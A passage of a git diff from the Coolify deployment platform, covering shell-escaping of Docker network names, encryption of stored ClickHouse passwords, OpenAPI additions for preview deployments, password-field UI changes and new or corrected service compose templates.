empty($target->value())) { try { validateShellSafePath($target->value(), 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -2741,7 +2746,7 @@ function serviceParser(Service $resource): Collection } } $resource->docker_compose_raw = Yaml::dump($originalYaml, 10, 2); - } catch (\Exception $e) { + } catch (Exception $e) { // If parsing fails, keep the original docker_compose_raw unchanged ray('Failed to update docker_compose_raw in serviceParser: '.$e->getMessage()); } diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index cf9f648bb..ed18dfe76 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -109,18 +109,20 @@ function connectProxyToNetworks(Server $server) ['networks' => $networks] = collectDockerNetworksByServer($server); if ($server->isSwarm()) { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --driver overlay --attachable $network >/dev/null", - "docker network connect $network coolify-proxy >/dev/null 2>&1 || true", - "echo 'Successfully connected coolify-proxy to $network network.'", + "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --driver overlay --attachable {$safe} >/dev/null", + "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", + "echo 'Successfully connected coolify-proxy to {$safe} network.'", ]; }); } else { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --attachable $network >/dev/null", - "docker network connect $network coolify-proxy >/dev/null 2>&1 || true", - "echo 'Successfully connected coolify-proxy to $network network.'", + "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --attachable {$safe} >/dev/null", + "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", + "echo 'Successfully connected coolify-proxy to {$safe} network.'", ]; }); } @@ -141,16 +143,18 @@ function ensureProxyNetworksExist(Server $server) if ($server->isSwarm()) { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", + "echo 'Ensuring network {$safe} exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable {$safe}", ]; }); } else { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", + "echo 'Ensuring network {$safe} exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable {$safe}", ]; }); } diff --git a/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php b/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php new file mode 100644 index 000000000..a4a6988f2 --- /dev/null +++ b/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php @@ -0,0 +1,39 @@ +chunkById(100, function ($clickhouses) { + foreach ($clickhouses as $clickhouse) { + $password = $clickhouse->clickhouse_admin_password; + + if (empty($password)) { + continue; + } + + // Skip if already encrypted (idempotent) + try { + Crypt::decryptString($password); + + continue; + } catch (Exception) { + // Not encrypted yet โ€” encrypt it + } + + DB::table('standalone_clickhouses') + ->where('id', $clickhouse->id) + ->update(['clickhouse_admin_password' => Crypt::encryptString($password)]); + } + }); + } catch (Exception $e) { + echo 'Encrypting ClickHouse admin passwords failed.'; + echo $e->getMessage(); + } + } +} diff --git a/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php b/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php new file mode 100644 index 000000000..2dafa2737 --- /dev/null +++ b/database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php @@ -0,0 +1,30 @@ +string('docker_registry_image_tag')->nullable()->after('docker_compose_domains'); + }); + + Schema::table('application_deployment_queues', function (Blueprint $table) { + $table->string('docker_registry_image_tag')->nullable()->after('pull_request_id'); + }); + } + + public function down(): void + { + Schema::table('application_previews', function (Blueprint $table) { + $table->dropColumn('docker_registry_image_tag'); + }); + + Schema::table('application_deployment_queues', function (Blueprint $table) { + $table->dropColumn('docker_registry_image_tag'); + }); + } +}; diff --git a/database/seeders/RootUserSeeder.php b/database/seeders/RootUserSeeder.php index e3968a1c9..c4e93af63 100644 --- a/database/seeders/RootUserSeeder.php +++ b/database/seeders/RootUserSeeder.php @@ -45,12 +45,13 @@ public function run(): void } try { - User::create([ + $user = (new User)->forceFill([ 'id' => 0, 'name' => env('ROOT_USERNAME', 'Root User'), 'email' => env('ROOT_USER_EMAIL'), 'password' => Hash::make(env('ROOT_USER_PASSWORD')), ]); + $user->save(); echo "\n SUCCESS Root user created successfully.\n\n"; } catch (\Exception $e) { echo "\n ERROR Failed to create root user: {$e->getMessage()}\n\n"; diff --git a/openapi.json b/openapi.json index ee970c5c3..ed8decb48 100644 --- a/openapi.json +++ b/openapi.json @@ -407,6 +407,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -852,6 +857,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -1297,6 +1307,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "default": false, + "description": "Preserve repository during deployment." } }, "type": "object" @@ -2704,6 +2719,10 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off." + }, + "is_preserve_repository_enabled": { + "type": "boolean", + "description": "Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false." } }, "type": "object" @@ -7255,6 +7274,22 @@ "schema": { "type": "integer" } + }, + { + "name": "pull_request_id", + "in": "query", + "description": "Preview deployment identifier. Alias of pr.", + "schema": { + "type": "integer" + } + }, + { + "name": "docker_tag", + "in": "query", + "description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id.", + "schema": { + "type": "string" + } } ], "responses": { @@ -12715,6 +12750,10 @@ "pull_request_id": { "type": "integer" }, + "docker_registry_image_tag": { + "type": "string", + "nullable": true + }, "force_rebuild": { "type": "boolean" }, diff --git a/openapi.yaml b/openapi.yaml index 80744d3d4..157cd9f69 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -291,6 +291,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -575,6 +579,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -859,6 +867,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + default: false + description: 'Preserve repository during deployment.' type: object responses: '201': @@ -1741,6 +1753,9 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' + is_preserve_repository_enabled: + type: boolean + description: 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.' type: object responses: '200': @@ -4695,6 +4710,18 @@ paths: description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.' schema: type: integer + - + name: pull_request_id + in: query + description: 'Preview deployment identifier. Alias of pr.' + schema: + type: integer + - + name: docker_tag + in: query + description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.' + schema: + type: string responses: '200': description: "Get deployment(s) UUID's" @@ -8090,6 +8117,9 @@ components: type: string pull_request_id: type: integer + docker_registry_image_tag: + type: string + nullable: true force_rebuild: type: boolean commit: diff --git a/public/svgs/electricsql.svg b/public/svgs/electricsql.svg new file mode 100644 index 000000000..bbffe200a --- /dev/null +++ b/public/svgs/electricsql.svg @@ -0,0 +1,4 @@ + + + + diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php index 2466a57f9..d26e248c1 100644 --- a/resources/views/components/forms/env-var-input.blade.php +++ b/resources/views/components/forms/env-var-input.blade.php @@ -10,7 +10,7 @@ @endif -
@if ($type === 'password' && $allowToPeak) -
- + -
+ + + + + + + @endif merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly) @@ -210,12 +220,10 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif wire:loading.attr="disabled" - @if ($type === 'password') - :type="type" - @else + @disabled($disabled) + @if ($type !== 'password') type="{{ $type }}" @endif - @disabled($disabled) @if ($htmlId !== 'null') id="{{ $htmlId }}" @endif name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" diff --git a/resources/views/components/forms/input.blade.php b/resources/views/components/forms/input.blade.php index cf72dfbe9..456aa1da8 100644 --- a/resources/views/components/forms/input.blade.php +++ b/resources/views/components/forms/input.blade.php @@ -13,10 +13,11 @@ @endif @if ($type === 'password') -
+
@if ($allowToPeak) -
+
+ @endif merge(['class' => $defaultClass]) }} @required($required) @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif wire:loading.attr="disabled" - type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" + @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" aria-placeholder="{{ $attributes->get('placeholder') }}" @if ($autofocus) x-ref="autofocusInput" @endif> diff --git a/resources/views/components/forms/textarea.blade.php b/resources/views/components/forms/textarea.blade.php index 3f8fdb112..22c89fd72 100644 --- a/resources/views/components/forms/textarea.blade.php +++ b/resources/views/components/forms/textarea.blade.php @@ -30,18 +30,26 @@ function handleKeydown(e) { readonly="{{ $readonly }}" label="dockerfile" autofocus="{{ $autofocus }}" /> @else @if ($type === 'password') -
+
@if ($allowToPeak) -
- + -
+ + + + + + + @endif merge(['class' => $defaultClassInput]) }} @required($required) diff --git a/resources/views/emails/server-force-disabled.blade.php b/resources/views/emails/server-force-disabled.blade.php index 805df3296..4ab46b5a0 100644 --- a/resources/views/emails/server-force-disabled.blade.php +++ b/resources/views/emails/server-force-disabled.blade.php @@ -1,5 +1,5 @@ Your server ({{ $name }}) disabled because it is not paid! All automations and integrations are stopped. - Please update your subscription to enable the server again [here](https://app.coolify.io/subscriptions). + Please update your subscription to enable the server again [here](https://app.coolify.io/subscription). diff --git a/resources/views/layouts/base.blade.php b/resources/views/layouts/base.blade.php index 2b4ca6054..33968ee32 100644 --- a/resources/views/layouts/base.blade.php +++ b/resources/views/layouts/base.blade.php @@ -203,30 +203,6 @@ function checkTheme() { let checkHealthInterval = null; let checkIfIamDeadInterval = null; - function changePasswordFieldType(event) { - let element = event.target - for (let i = 0; i < 10; i++) { - if (element.className === "relative") { - break; - } - element = element.parentElement; - } - element = element.children[1]; - if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') { - if (element.type === 'password') { - element.type = 'text'; - if (element.disabled) return; - element.classList.add('truncate'); - this.type = 'text'; - } else { - element.type = 'password'; - if (element.disabled) return; - element.classList.remove('truncate'); - this.type = 'password'; - } - } - } - function copyToClipboard(text) { navigator?.clipboard?.writeText(text) && window.Livewire.dispatch('success', 'Copied to clipboard.'); } @@ -326,4 +302,4 @@ function copyToClipboard(text) { @show - \ No newline at end of file + diff --git a/resources/views/livewire/notifications/email.blade.php b/resources/views/livewire/notifications/email.blade.php index 538851137..410703010 100644 --- a/resources/views/livewire/notifications/email.blade.php +++ b/resources/views/livewire/notifications/email.blade.php @@ -72,7 +72,7 @@ class="p-4 border dark:border-coolgray-300 border-neutral-200 rounded-lg flex fl
- + @@ -82,7 +82,7 @@ class="p-4 border dark:border-coolgray-300 border-neutral-200 rounded-lg flex fl
-
diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 597bfa0a4..02927b0b4 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -42,11 +42,11 @@ @endif - str($currentRoute)->startsWith('project.application.scheduled-tasks')]) {{ wireNavigate() }} href="{{ route('project.application.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Scheduled Tasks Webhooks - @if ($application->git_based()) + @if ($application->git_based() || $application->build_pack === 'dockerimage') Preview Deployments @endif @@ -84,6 +84,8 @@ @elseif ($currentRoute === 'project.application.scheduled-tasks.show') + @elseif ($currentRoute === 'project.application.scheduled-tasks') + @elseif ($currentRoute === 'project.application.webhooks') @elseif ($currentRoute === 'project.application.preview-deployments') diff --git a/resources/views/livewire/project/application/previews.blade.php b/resources/views/livewire/project/application/previews.blade.php index f0f5d0962..1ae86bf32 100644 --- a/resources/views/livewire/project/application/previews.blade.php +++ b/resources/views/livewire/project/application/previews.blade.php @@ -68,6 +68,20 @@ class="dark:text-warning">{{ $application->destination->server->name }}.< @endif
+ @if ($application->build_pack === 'dockerimage') +
+

Manual Preview Deployment

+
+ + + @can('deploy', $application) + Deploy Preview + @endcan + +
+ @endif @if ($application->previews->count() > 0)

Deployments

@@ -117,13 +117,13 @@
+ helper="Keeps only the specified number of most recent backups on S3 storage. Set to 0 for unlimited backups." required /> + helper="Automatically removes S3 backups older than the specified number of days. Set to 0 for no time limit." required /> + helper="When total size of all backups in the current backup job exceeds this limit in GB, the oldest backups will be removed. Decimal values are supported (e.g. 0.5 for 500MB). Set to 0 for unlimited storage." required />
@endif diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php index ceaaac508..23286271a 100644 --- a/resources/views/livewire/project/database/clickhouse/general.blade.php +++ b/resources/views/livewire/project/database/clickhouse/general.blade.php @@ -76,9 +76,9 @@
- -
diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index e81d51c07..856fb8d93 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -113,9 +113,9 @@
- - diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index 522b96c0a..2310242c9 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -113,9 +113,9 @@ - - - - - - - - diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index 74b1a03a8..e8536e735 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -163,9 +163,9 @@ - - diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index 11ffddd81..485c69125 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -132,9 +132,9 @@ - - $project->uuid, 'environment_uuid' => $environment->uuid, 'service_uuid' => $service->uuid]) }}">Environment Variables Persistent Storages - str($currentRoute)->startsWith('project.service.scheduled-tasks')]) {{ wireNavigate() }} href="{{ route('project.service.scheduled-tasks.show', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'service_uuid' => $service->uuid]) }}">Scheduled Tasks Webhooks @@ -189,6 +189,8 @@ class="w-4 h-4 dark:text-warning text-coollabs" @endforeach @elseif ($currentRoute === 'project.service.scheduled-tasks.show') + @elseif ($currentRoute === 'project.service.scheduled-tasks') + @elseif ($currentRoute === 'project.service.webhooks') @elseif ($currentRoute === 'project.service.resource-operations') diff --git a/resources/views/livewire/project/service/index.blade.php b/resources/views/livewire/project/service/index.blade.php index 04d30ae60..8c1c09e04 100644 --- a/resources/views/livewire/project/service/index.blade.php +++ b/resources/views/livewire/project/service/index.blade.php @@ -233,7 +233,7 @@ class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300"> - @if ($db_url_public) - - {{ data_get_str($resource, 'name')->limit(10) }} > Scheduled Tasks | Coolify - - @if ($type === 'application') -

Scheduled Task

- - @elseif ($type === 'service') - - @endif -
-

Scheduled Task

+

Task {{ $task->name }}

Save @@ -21,6 +11,11 @@ Execute Now @endif + @if (!$isEnabled) + Enable Task + @else + Disable Task + @endif
-
- -
+

Configuration

- - + @if ($type === 'application') @@ -47,6 +40,7 @@ id="container" label="Service name" /> @endif
+
diff --git a/resources/views/livewire/server/advanced.blade.php b/resources/views/livewire/server/advanced.blade.php index 33086aea1..f6610c1d5 100644 --- a/resources/views/livewire/server/advanced.blade.php +++ b/resources/views/livewire/server/advanced.blade.php @@ -22,6 +22,7 @@ id="serverDiskUsageCheckFrequency" label="Disk usage check frequency" required helper="Cron expression for disk usage check frequency.
You can use every_minute, hourly, daily, weekly, monthly, yearly.

Default is every night at 11:00 PM." />
@@ -31,12 +32,15 @@

Builds

diff --git a/resources/views/livewire/server/sentinel.blade.php b/resources/views/livewire/server/sentinel.blade.php index 4016a30e4..5ca535cbc 100644 --- a/resources/views/livewire/server/sentinel.blade.php +++ b/resources/views/livewire/server/sentinel.blade.php @@ -91,13 +91,14 @@
- - -
diff --git a/resources/views/livewire/settings-email.blade.php b/resources/views/livewire/settings-email.blade.php index c58ea189d..93abd628c 100644 --- a/resources/views/livewire/settings-email.blade.php +++ b/resources/views/livewire/settings-email.blade.php @@ -53,7 +53,7 @@ - +
diff --git a/resources/views/livewire/settings/advanced.blade.php b/resources/views/livewire/settings/advanced.blade.php index 242cacf48..6c26b453d 100644 --- a/resources/views/livewire/settings/advanced.blade.php +++ b/resources/views/livewire/settings/advanced.blade.php @@ -16,11 +16,31 @@ class="flex flex-col h-full gap-8 sm:flex-row">
Advanced settings for your Coolify instance.
-
- -
+ @if ($is_registration_enabled) +
+ +
+ @else +
+ + +
+ @endif
- \ No newline at end of file + diff --git a/routes/web.php b/routes/web.php index a82fcc19e..ec2c45e50 100644 --- a/routes/web.php +++ b/routes/web.php @@ -230,7 +230,7 @@ Route::get('/deployment/{deployment_uuid}', DeploymentShow::class)->name('project.application.deployment.show'); Route::get('/logs', Logs::class)->name('project.application.logs'); Route::get('/terminal', ExecuteContainerCommand::class)->name('project.application.command')->middleware('can.access.terminal'); - Route::get('/tasks/{task_uuid}', ScheduledTaskShow::class)->name('project.application.scheduled-tasks'); + Route::get('/tasks/{task_uuid}', ApplicationConfiguration::class)->name('project.application.scheduled-tasks'); }); Route::prefix('project/{project_uuid}/environment/{environment_uuid}/database/{database_uuid}')->group(function () { Route::get('/', DatabaseConfiguration::class)->name('project.database.configuration'); @@ -264,7 +264,7 @@ Route::get('/{stack_service_uuid}/backups', ServiceDatabaseBackups::class)->name('project.service.database.backups'); Route::get('/{stack_service_uuid}/import', ServiceIndex::class)->name('project.service.database.import')->middleware('can.update.resource'); Route::get('/{stack_service_uuid}', ServiceIndex::class)->name('project.service.index'); - Route::get('/tasks/{task_uuid}', ScheduledTaskShow::class)->name('project.service.scheduled-tasks'); + Route::get('/tasks/{task_uuid}', ServiceConfiguration::class)->name('project.service.scheduled-tasks'); }); Route::get('/servers', ServerIndex::class)->name('server.index'); diff --git a/templates/compose/electricsql.yaml b/templates/compose/electricsql.yaml new file mode 100644 index 000000000..b1ae2ff96 --- /dev/null +++ b/templates/compose/electricsql.yaml @@ -0,0 +1,27 @@ +# documentation: https://electric-sql.com/docs/guides/deployment +# slogan: Sync shape-based subsets of your Postgres data over HTTP. +# category: backend +# tags: electric,electricsql,realtime,sync,postgresql +# logo: svgs/electricsql.svg +# port: 3000 + +## This template intentionally does not deploy PostgreSQL. +## Set DATABASE_URL to an existing Postgres instance with logical replication enabled. +## If ELECTRIC_SECRET is set, your own backend/proxy must append it to shape requests. + +services: + electric: + image: electricsql/electric:1.4.2 + environment: + - SERVICE_URL_ELECTRIC_3000 + - DATABASE_URL=${DATABASE_URL:?} + - ELECTRIC_SECRET=${SERVICE_PASSWORD_64_ELECTRIC} + - ELECTRIC_STORAGE_DIR=/app/persistent + - ELECTRIC_USAGE_REPORTING=${ELECTRIC_USAGE_REPORTING:-false} + volumes: + - electric_data:/app/persistent + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:3000/v1/health"] + interval: 10s + timeout: 5s + retries: 5 diff --git a/templates/compose/grafana-with-postgresql.yaml b/templates/compose/grafana-with-postgresql.yaml index 25add4cc2..6c5dda659 100644 --- a/templates/compose/grafana-with-postgresql.yaml +++ b/templates/compose/grafana-with-postgresql.yaml @@ -11,7 +11,7 @@ services: environment: - SERVICE_URL_GRAFANA_3000 - GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA} - - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA} + - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA} - GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA} - GF_DATABASE_TYPE=postgres - GF_DATABASE_HOST=postgresql diff --git a/templates/compose/grafana.yaml b/templates/compose/grafana.yaml index a570c6c79..ed1689f58 100644 --- a/templates/compose/grafana.yaml +++ b/templates/compose/grafana.yaml @@ -11,7 +11,7 @@ services: environment: - SERVICE_URL_GRAFANA_3000 - GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA} - - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA} + - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA} - GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA} volumes: - grafana-data:/var/lib/grafana diff --git a/templates/compose/langfuse.yaml b/templates/compose/langfuse.yaml index 2b877307f..b617cec5c 100644 --- a/templates/compose/langfuse.yaml +++ b/templates/compose/langfuse.yaml @@ -119,7 +119,7 @@ services: retries: 10 clickhouse: - image: clickhouse/clickhouse-server:latest + image: clickhouse/clickhouse-server:26.2.4.23 user: "101:101" environment: - CLICKHOUSE_DB=${CLICKHOUSE_DB:-default} diff --git a/templates/compose/listmonk.yaml b/templates/compose/listmonk.yaml index fa73f6ff7..a204c9f74 100644 --- a/templates/compose/listmonk.yaml +++ b/templates/compose/listmonk.yaml @@ -12,7 +12,7 @@ services: - SERVICE_URL_LISTMONK_9000 - LISTMONK_app__address=0.0.0.0:9000 - LISTMONK_db__host=postgres - - LISTMONK_db__name=listmonk + - LISTMONK_db__database=listmonk - LISTMONK_db__user=$SERVICE_USER_POSTGRES - LISTMONK_db__password=$SERVICE_PASSWORD_POSTGRES - LISTMONK_db__port=5432 @@ -37,7 +37,7 @@ services: condition: service_healthy environment: - LISTMONK_db__host=postgres - - LISTMONK_db__name=listmonk + - LISTMONK_db__database=listmonk - LISTMONK_db__user=$SERVICE_USER_POSTGRES - LISTMONK_db__password=$SERVICE_PASSWORD_POSTGRES - LISTMONK_db__port=5432 diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 51cb39de0..590d0ab64 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -1102,6 +1102,22 @@ "minversion": "0.0.0", "port": "9200" }, + "electricsql": { + "documentation": "https://electric-sql.com/docs/guides/deployment?utm_source=coolify.io", + "slogan": "Sync shape-based subsets of your Postgres data over HTTP.", + "compose": "c2VydmljZXM6CiAgZWxlY3RyaWM6CiAgICBpbWFnZTogJ2VsZWN0cmljc3FsL2VsZWN0cmljOjEuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfRUxFQ1RSSUNfMzAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9JHtEQVRBQkFTRV9VUkw6P30nCiAgICAgIC0gJ0VMRUNUUklDX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfRUxFQ1RSSUN9JwogICAgICAtIEVMRUNUUklDX1NUT1JBR0VfRElSPS9hcHAvcGVyc2lzdGVudAogICAgICAtICdFTEVDVFJJQ19VU0FHRV9SRVBPUlRJTkc9JHtFTEVDVFJJQ19VU0FHRV9SRVBPUlRJTkc6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VsZWN0cmljX2RhdGE6L2FwcC9wZXJzaXN0ZW50JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvdjEvaGVhbHRoJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK", + "tags": [ + "electric", + "electricsql", + "realtime", + "sync", + "postgresql" + ], + "category": "backend", + "logo": "svgs/electricsql.svg", + "minversion": "0.0.0", + "port": "3000" + }, "emby": { "documentation": "https://emby.media/support/articles/Home.html?utm_source=coolify.io", "slogan": "A media server software that allows you to organize, stream, and access your multimedia content effortlessly.", @@ -1847,7 +1863,7 @@ "grafana-with-postgresql": { "documentation": "https://grafana.com?utm_source=coolify.io", "slogan": "Grafana is the open source analytics & monitoring solution for every database.", - "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX1VSTF9HUkFGQU5BfScKICAgICAgLSAnR0ZfU0VDVVJJVFlfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0dSQUZBTkF9JwogICAgICAtIEdGX0RBVEFCQVNFX1RZUEU9cG9zdGdyZXMKICAgICAgLSBHRl9EQVRBQkFTRV9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBHRl9EQVRBQkFTRV9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBHRl9EQVRBQkFTRV9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdHRl9EQVRBQkFTRV9OQU1FPSR7UE9TVEdSRVNfREI6LWdyYWZhbmF9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhZmFuYS1kYXRhOi92YXIvbGliL2dyYWZhbmEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBvc3RncmVzcWwKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZ3JhZmFuYX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": 